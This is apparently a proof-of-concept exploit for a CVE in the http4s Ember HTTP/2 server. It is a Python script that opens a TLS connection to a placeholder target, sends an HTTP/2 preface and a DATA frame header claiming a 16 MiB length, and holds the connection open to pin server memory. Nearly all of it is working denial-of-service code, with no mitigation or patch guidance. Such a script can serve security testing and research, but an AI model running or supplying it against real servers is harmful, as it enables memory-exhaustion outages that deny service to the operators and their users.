CVE-2026-88975: http4s Ember HTTP/2 Frame Size Memory Exhaustion

# Send the HTTP/2 client preface, then a DATA frame (type 0x00)
# with stream ID 1 and length 0xFFFFFF (16,777,215 bytes = ~16 MiB).
# The server buffers 16 MiB waiting for the payload before checking
# SETTINGS_MAX_FRAME_SIZE. Never send the payload to hold the allocation.
#
# Frame header layout (9 bytes):
#   [0..2] length  = 0xFF 0xFF 0xFF  (16,777,215)
#   [3]    type    = 0x00            (DATA)
#   [4]    flags   = 0x00
#   [5..8] stream  = 0x00 0x00 0x00 0x01

import socket, ssl

CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

# Minimal SETTINGS frame (empty, stream 0)
SETTINGS = bytes([
    0x00, 0x00, 0x00,  # length = 0
    0x04,             # type   = SETTINGS
    0x00,             # flags  = none
    0x00, 0x00, 0x00, 0x00  # stream = 0
])

# Oversized DATA frame header: length=0xFFFFFF, no payload sent
OVERSIZED_FRAME = bytes([
    0xFF, 0xFF, 0xFF,  # length = 16,777,215 (~16 MiB)
    0x00,             # type   = DATA
    0x00,             # flags  = none
    0x00, 0x00, 0x00, 0x01  # stream = 1
])

ctx = ssl.create_default_context()
ctx.set_alpn_protocols(["h2"])

with socket.create_connection(("target.example.com", 443)) as raw:
    with ctx.wrap_socket(raw, server_hostname="target.example.com") as s:
        s.sendall(CLIENT_PREFACE)
        s.sendall(SETTINGS)
        s.sendall(OVERSIZED_FRAME)
        # Hold the connection open; never send the payload bytes.
        # The server accumulator now holds the 9-byte promise and
        # will keep reading, pinning ~16 MiB per connection.
        import time; time.sleep(60)